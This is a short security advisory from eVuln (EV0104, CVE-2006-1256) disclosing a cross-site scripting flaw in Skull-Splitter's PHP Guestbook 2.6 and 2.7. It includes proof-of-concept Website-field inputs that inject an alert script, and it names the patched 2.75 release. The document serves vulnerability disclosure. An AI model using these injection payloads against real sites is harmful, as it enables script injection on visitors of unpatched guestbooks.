EV0104.txt

                New eVuln Advisory:
Skull-Splitter's PHP Guestbook XSS Vulnerability
http://evuln.com/vulns/104/summary.html

--------------------Summary----------------
eVuln ID: EV0104
CVE: CVE-2006-1256
Software: Skull-Splitter's PHP Guestbook
Sowtware's Web Site: http://www.boysen.be/
Versions: 2.6 2.7
Critical Level: Harmless
Type: Cross-Site Scripting
Class: Remote
Status: Patched
PoC/Exploit: Available
Solution: Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)

-----------------Description---------------
Vulnerable Script: guestbook.php

Parameter url isn't properly sanitized. This can be used to post arbitrary HTML or JavaScript code.

Condition: magic_quotes_gpc = off

--------------PoC/Exploit----------------------
Available at: http://evuln.com/vulns/104/exploit.html

Cross-Site Scripting Example:

Version 2.6

URL: http://[host]/guestbook.php? part=add_form
Website: aaa"><script>alert("Vulnerable")</script><aaa a="


Version 2.7

URL: http://[host]/guestbook.php? part=add_form
Website: http://domainbegin"><script>alert("Vulnerable")</script><aaa a="domainend.com


--------------Solution---------------------
To fix this problem install or upgrade to 2.75 version provided by vendor.

--------------Credit-----------------------
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)


Regards,
Aliaksandr Hartsuyeu
http://evuln.com - Penetration Testing Services
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